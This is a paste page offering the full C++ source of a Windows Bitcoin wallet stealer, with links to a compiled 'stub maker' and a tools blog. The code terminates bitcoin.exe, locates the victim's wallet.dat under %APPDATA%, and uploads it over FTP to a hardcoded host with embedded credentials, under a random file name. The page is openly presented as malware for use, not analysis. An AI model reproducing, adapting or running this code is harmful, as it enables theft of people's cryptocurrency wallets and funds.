Bitcoin Wallet Stealer + Source


SUBMITTED BY: Guest

DATE: May 25, 2014, 5:58 p.m.

FORMAT: Text only

SIZE: 3.5 kB

HITS: 637

  1. // Coded by JuryBen
  2. // Gimme coins
  3. //Uploaded by AnonymousX
  4. //Compiled EXE version stub + maker found here http://a-ad-s.blogspot.com/
  5. #include <windows.h>
  6. #include <tlhelp32.h>
  7. #include <tchar.h>
  8. #include <wininet.h>
  9. #include <ctime>
  10. #include <iostream>
  11. #pragma comment(lib, "wininet")
  12. void killprocess()
  13. {
  14. HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0 );
  15. // Get the process list snapshot.
  16. PROCESSENTRY32 ProcessEntry = { 0 };
  17. // Initialize the process entry structure.
  18. ProcessEntry.dwSize = sizeof( ProcessEntry );
  19. // Get the first process info
  20. BOOL Return = FALSE;
  21. Return = Process32First( hProcessSnapShot,&ProcessEntry );
  22. int value = _tcsicmp(ProcessEntry.szExeFile, _T("bitcoin.exe"));
  23. if (value==0)
  24. {
  25. HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID);
  26. //Open Process to terminate
  27. TerminateProcess(hProcess,0);
  28. CloseHandle(hProcess); //Close Handle }
  29. }
  30. while( Process32Next( hProcessSnapShot, &ProcessEntry ));
  31. CloseHandle( hProcessSnapShot );
  32. }
  33. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  34. {
  35. killprocess();
  36. Sleep(40000);
  37. srand((unsigned)time(NULL)); // we get time to use for random seed
  38. int seedone=rand(); // seed one
  39. int seedtwo=rand()*3; // seed two times 3
  40. int seedboth = seedone + seedtwo; // combine seeds to ensure random int
  41. // now we need to convert int to char
  42. char randomseed[99]; // make randomseed buffer at 99 to prevent overflow
  43. itoa(seedboth,randomseed,10); // use itoa, [int (seedboth), randomseed (random is now seedboth but in char), value (10 coverts to decimal)
  44. // did this so the wallet.dat file wouldn't be overwritten in ftp because of same file name
  45. char* appdata = getenv("APPDATA"); //Gets %Appdata% path
  46. char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat"); //Bitcoin file to steal
  47. //ftp connection
  48. HINTERNET hInternet;
  49. HINTERNET hFtpSession;
  50. hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  51. hFtpSession = InternetConnect(hInternet, "ftp.host.com", INTERNET_DEFAULT_FTP_PORT, "user@host.com", "bigdickben", INTERNET_SERVICE_FTP, 0, 0); //ftp host, user, pass
  52. FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0);
  53. FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0);
  54. InternetCloseHandle(hFtpSession);
  55. InternetCloseHandle(hInternet);
  56. return 0;
  57. }
  58. For More Join
  59. http://tools-and-scripts.blogspot.com/

comments powered by Disqus